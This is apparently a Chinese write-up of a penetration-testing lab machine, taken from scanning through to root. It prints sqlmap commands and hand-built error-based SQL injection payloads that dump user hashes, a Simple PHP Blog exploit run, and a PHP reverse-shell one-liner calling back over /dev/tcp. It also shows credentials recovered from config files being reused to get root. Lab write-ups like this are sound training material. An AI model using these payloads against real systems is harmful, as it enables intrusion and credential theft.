靶机设置
网络配置调整为NAT模式,并且修改网段至10.10.10.0
Nmap扫描
主机发现
sudo nmap -sn 10.10.10.128/24
TCP开放端口扫
sudo nmap -sT --min-rate 10000 -p- 10.10.10.100 -oA ./ports
很单纯。
UDP开放端口
sudo nmap -sU --min-rate 10000 -p- 10.10.10.100
TCP详细信息扫描
sudo nmap -sT -sC -sV -O -p80,22 10.10.10.100 -oA detail
Linux版本很老。Apache。
vuln漏洞脚本扫描
sudo nmap --script=vuln -p80,22 10.10.10.100 -oA vuln
Getshell
走吧,80下手去。
好简约,随便点点看看
SQL注入
登陆界面试试sql注入:
单引号闭合诶。试试能不能万能密码登陆进去
突然良心发现,用户应该是email()
重新登陆,结果发现直接被waf拦下:
不管了,sqlmap启动!
sudo sqlmap -u http://10.10.10.100/login.php --data "email=admin&pass=admin"
sudo sqlmap -u http://10.10.10.100/login.php --data "email=admin&pass=admin" --current-db
sudo sqlmap -u http://10.10.10.100/login.php --data "email=admin&pass=admin" -D ch16 --tables
sudo sqlmap -u http://10.10.10.100/login.php --data "email=admin&pass=admin" -D ch16 -T users --columns
sudo sqlmap -u http://10.10.10.100/login.php --data "email=admin&pass=admin" -D ch16 -T users --dump --where=./sqlmap
回忆之前的waf,应该是也被栏了。
只能手工绕了
这里注意email有长度限制,记得删掉
1' union select extractValue(1,concat(0x7e,(select group_concat(email,'~',pass) from users)))#
报错默认回显个数不够,用substring挨个来吧
1' union select extractValue(1,concat(0x7e,substring((select group_concat(email,'~',pass) from users),1,30)))#
1' union select extractValue(1,concat(0x7e,substring((select group_concat(email,'~',pass) from users),31,60)))#
1' union select extractValue(1,concat(0x7e,substring((select group_concat(email,'~',pass) from users),61,90)))#
# ~admin@isints.com~c2c4b4e51d9e2~3c02c15702c136c3e950ba9a4af
整理一下:admin@isints.com:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
尝试cmd5一下
好吧!那我还是自己来
hash-identifier c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
hashcat -a 0 -m 100 c2c4b4e51d9e23c02c15702c136c3e950ba9a4af /usr/share/wordlists/rockyou.txt
没跑出来。gg。转移目标
blog
回忆一下nmap扫出来的路径。都看看去。
点进去发现是个CMS:Simple PHP Blog 0.4.0
searchsploit看看有没有可利用的漏洞:searchsploit Simple PHP Blog
1191.pl
,拷贝下来查看用法后利用一下:
sudo perl 1191.pl -h http://10.10.10.100/blog -e 3 -U test -P test
回到blog上用test:test
登陆:
php嘛~,直接one-line reverse shell编辑进去:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'");?>
不行,是个静态的。得另外找上传点。
试试Images的上传:
没有被拦截的提示,那kali监听开启,直接访问试试:
提权
简单信息
提升一下shell交互性:python -c 'import pty;pty.spawn("/bin/bash")'
不让sudo
,问题不大
看眼/etc/passwd
(shadow不让看)
有mysql嗷
root:x:0:0:root:/root:/bin/bash
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
定时任务无内容:cat /etc/crontab
配置文件敏感信息泄漏
看眼www
路径下的文件:
发现config,看看去:
$1$a1419hQm$soV6Mn/ng0QDpLVq3TKrN1
试了一下,不是sudo的密码QAQ
再往上翻文件:
有个mysql连接的文件,看看(按的tab补全文件名,但是这个显示有点问题):
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
尝试密码喷洒,直接su -
失败
好吧,乖乖连数据库去:
啊?
思路:这个配置文件的帐号密码不对,但我们的程序是正常运行的,说明数据库连接的是正常的。因此,一定有另外的配置文件。
尝试根据名字搜索配置文件:
find / -name mysqli_connect.php 2>/dev/null
# 2>/dev/null:因为www-data用户权限低,肯定很多报错。排除这些报错的干扰
上一层路径还有有个配置文件()
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
尝试密码喷洒:su -
成功!
确定靶机: